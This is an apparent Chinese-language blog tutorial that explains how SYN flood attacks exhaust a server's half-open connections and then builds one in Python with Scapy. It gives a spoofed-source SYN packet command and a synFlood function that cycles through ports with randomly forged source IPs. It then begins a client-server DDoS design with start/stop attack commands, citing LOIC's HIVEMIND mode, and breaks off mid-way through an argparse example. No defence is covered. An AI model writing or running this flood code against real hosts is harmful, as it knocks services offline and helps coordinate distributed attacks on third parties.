文章目录
SYN 泛洪攻击
SYN泛洪攻击是一种比较常用的Dos方式之一。通过发送大量伪造的 TCP 连接请求,使被攻击主机资源耗尽(通常是 CPU 满负荷或内存不足)的攻击方式
我们都知道建立 TCP 连接需要三次握手。正常情况下客户端首先向服务器端发送SYN报文,随后服务端返回以SYN+ACK报文,最后客户端向服务端发送ACK报文完成三次握手
而SYN泛洪攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文。由于服务器在处理 TCP 请求时,会在协议栈留一块缓冲区来存储握手的过程,当然如果超过一定时间内没有接收到客户端的报文,本次连接在协议栈中存储的数据将会被丢弃。攻击者如果利用这段时间发送大量的连接请求,全部挂起在半连接状态。这样将不断消耗服务器资源,直到拒绝服务
Scapy3k 基本用法
Scapy3k其实就是Scapy的 Python3 版本,以下简称Scapy。Scapy是一个强大的交互式数据包处理程序。可用来发送、嗅探、解析和伪造网络数据包。在网络攻击和渗透测试重应用非常广泛。Scapy是一个独立的程序同时还可以作为 Python 的第三方库使用
首先安装Scapy3k,Windows 不方便,下面的操作我都是在 Linux 中进行的
sudo pip install scapy
运行scapy
sudo scapy
因为Scapy发送数据包需要root权限,所以这里加上sudo。另外运行的时候会出现一些警告信息,因为没有安装相应的依赖包,不过暂时用不到,所以不用管
接下来我们用Scapy构造一个简单的数据包
pkt = IP(dst = "192.168.50.10")
接下来构造SYN数据包,并发送出去
pkt = IP(src = "125.4.2.1",dst="192.168.50.10")/TCP(dport=80,flags="S")
send(pkt)
我们构造了一个 IP 包和 TCP 包,并将它们组合到一块,这样就有了一个完整的 TCP 数据包,否则是无法发送出去的。IP 包中我们指定了源地址src和目的地址dst,其中src是我们伪造的地址,这也是保护攻击者的一种方式。flags的值设定为S,说明我们要发送的是一个SYN数据包。非常简单的一段指令就够早了一个伪造了源 IP 地址的SYN数据包
代码实现
现在我们要用 Python 以第三方库的形式使用Scapy,使用方法和用交互式 Shell 的方式一样
前面我们构造了SYN数据包,现在需要实现随机伪造源 IP 地址、以及不同的源端口向目标主机发送SYN数据包:
import random
from scapy.all import \*
def synFlood(tgt,dPort):
srcList = \['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'\]
for sPort in range(1024,65535):
index = random.randrange(4)
ipLayer = IP(src=srcList\[index\], dst=tgt)
tcpLayer = TCP(sport=sPort, dport = dPort, flags="S")
packet = ipLayer / tcpLayer
send(packet)
DDos 实现思路
前面我们已经实现了SYN泛洪攻击,而DDos则是多台主机一起发起攻击,我们只需要能发送命令,让连接到服务器的客户端一起向同一目标发起攻击就可以了
世界最大的黑客组织Anonymous经常使用LOIC(low Orbit Ion Cannon,滴轨道离子炮)进行大规模的DDos。LOIC有个HIVEMIND模式,用户可以通过连接到一台 IRC 服务器,当有用户发送命令,任何以HIVEMIND模式连接到 IRC 服务器的成员都会立即攻击该目标
这种方式的优点事不需要傀儡机,可以有很多 “志同道合” 的人一起帮助你实现DDos,不过不太适合在傀儡机中使用。当然实现思路有很多,根据不同情况的选择也会不同。而这里我们将采用客户端、服务器的方式来实现DDos,这种方式非常简单,可扩展性也比较强
argparse 模块
由于 Server 端需要发送命令去控制 Client 端发起攻击,所以这里我们先规定好命令格式
#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>
-H后面是被攻击主机的 IP 地址,-p指定被攻击的端口号,-c控制攻击的开始与停止
命令制定好了,接下来看一下如何使用命令解析库argparse
\# Import argparse package
import argparse
# New ArgumentParser object
parser = argparse.ArgumentParser(description="Process some integers.")
# Add parameter
parser.add\_argument('-p', dest='port', type = int, help